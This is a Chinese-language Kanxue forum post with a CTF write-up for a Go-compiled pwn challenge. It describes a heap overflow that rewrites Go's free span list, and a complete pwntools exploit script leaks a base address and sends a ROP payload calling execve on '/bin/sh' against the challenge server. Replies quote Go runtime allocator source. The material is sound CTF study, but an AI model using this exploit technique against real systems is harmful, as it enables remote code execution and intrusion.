首页
社区
课程
招聘
[原创]【2019看雪CTF】Q1赛季 第八题 挖宝 WP
2019-3-23 21:00 5685

[原创]【2019看雪CTF】Q1赛季 第八题 挖宝 WP

2019-3-23 21:00
5685

【2019看雪CTF】Q1赛季 第八题 挖宝 WP

这是一题golang编写的pwn题。题目意思是在6*6的空间内挖宝。有三个固定点的宝藏和一个仅凭手速永远也找不到的动态点宝藏。
此题关键在于输入长度没有限制,导出溢出,可修改free span list。可通过改写free span list,将下次分配给输入message的地址控制在当前函数栈的底部附近(栈地址不变,这个是怎么实现的。。。。),以实现rop。其它的就是简单的rop了,程序自带有sys_call调用。(不是太懂tcmalloc)
完整exp如下:

#!/usr/bin/env python
from pwn import *

s = lambda a: io.send(a)
sa = lambda a, b: io.sendafter(a, b)
st = lambda a, b: io.sendthen(a, b)
sl = lambda a: io.sendline(a)
sla = lambda a, b: io.sendlineafter(a, b)
slt = lambda a, b: io.sendlinethen(a, b)
r = lambda a=0x100: io.recv(a)
rl = lambda: io.recvline()
ru = lambda a: io.recvuntil(a)
it = lambda: io.interactive()


def login(content):
    sla('name :\n',content)

def step(d):
    sla('>>',d)

def msg(content):
    sla(' >> ',content)

# def walk


def pwn():
    # bin_off = 0x3C4B78
    # free_off = 0x3C67A8
    # sys_off = 0x45390

    # free_off = 0x3ED8E8
    # sys_off = 0x4F440
    # sh_off = 0x1B3E9A 
    # err_off = 0x3EC680
    sysc_off = 0x185B49
    off = 0xD744D
    addr = 0xc820041cd0

    login('123123')
    for i in range(5):
        step('d')
    # gdb.attach(io)
    msg("A"*48+p64(addr))
    step('a')
    step('d')
    msg('A'*16+'\x48')
    ru('journey!\n')
    b_addr = u64(r(22)[16:]+'\x00'*2) -  off
    log.info('base:'+hex(b_addr))
    payload="A"*0x10+p64(b_addr+sysc_off)+p64(59)+p64(addr+0x38)+p64(0)+p64(0)+"/bin/sh\0"
    step(payload)
    it()


if __name__  ==  '__main__':
    context(arch='amd64', kernel='amd64', os='linux')    
    HOST, PORT = '211.159.175.39', 8787
    # HOST, PORT = '127.0.0.1', 8787
    # HOST, PORT = '0.0.0.0', 8686
    # elf = ELF('./libc.so.6')    
    if len(sys.argv) > 1 and sys.argv[1] == 'l': 
        io = process('./trepwn')#,env = {'LD_PRELOAD':'./libc.so'})        
        context.log_level = 'debug'        
    else:   
        io = remote(HOST, PORT)  
        context.log_level = 'debug'             
    pwn()

[培训]科锐软件逆向50期预科班报名即将截止,速来!!! 50期正式班报名火爆招生中!!!

收藏
免费 1
打赏
分享
最新回复 (4)
雪    币: 3502
活跃值: (1458)
能力值: ( LV15,RANK:1045 )
在线值:
发帖
回帖
粉丝
kkHAIKE 10 2019-3-25 11:32
2
0
求详细
雪    币: 16219
活跃值: (6036)
能力值: ( LV13,RANK:861 )
在线值:
发帖
回帖
粉丝
大帅锅 4 2019-3-25 12:07
3
0
po叔还是po叔啊!跪求详解。
雪    币: 28667
活跃值: (7132)
能力值: ( LV15,RANK:3306 )
在线值:
发帖
回帖
粉丝
风间仁 19 2019-3-25 14:44
4
1
mark
// runtime/malloc.go    
func mallocinit() {
	// ...
	limit = 0
	if sys.PtrSize == 8 && (limit == 0 || limit > 1<<30) {
		// ...
		arenaSize := round(_MaxMem, _PageSize)
		bitmapSize = arenaSize / (sys.PtrSize * 8 / 4)
		spansSize = arenaSize / _PageSize * sys.PtrSize
		spansSize = round(spansSize, _PageSize)
		for i := 0; i <= 0x7f; i++ {
			switch {
			case GOARCH == "arm64" && GOOS == "darwin":
				p = uintptr(i)<<40 | uintptrMask&(0x0013<<28)
			case GOARCH == "arm64":
				p = uintptr(i)<<40 | uintptrMask&(0x0040<<32)
			default:
				p = uintptr(i)<<40 | uintptrMask&(0x00c0<<32)
			}
			pSize = bitmapSize + spansSize + arenaSize + _PageSize
			p = uintptr(sysReserve(unsafe.Pointer(p), pSize, &reserved))
			if p != 0 {
				break
			}
		}
	}
	
	// ...
	
	p1 := round(p, _PageSize)
	mheap_.spans = (**mspan)(unsafe.Pointer(p1))
	mheap_.bitmap = p1 + spansSize
	mheap_.arena_start = p1 + (spansSize + bitmapSize) // 0xC820000000
	mheap_.arena_used = mheap_.arena_start
	mheap_.arena_end = p + pSize
	mheap_.arena_reserved = reserved
	
	//...
}

雪    币: 13713
活跃值: (2851)
能力值: ( LV15,RANK:2663 )
在线值:
发帖
回帖
粉丝
poyoten 22 2019-3-25 23:52
5
0
我也不太了解。惊现风神,感谢。
游客
登录 | 注册 方可回帖
返回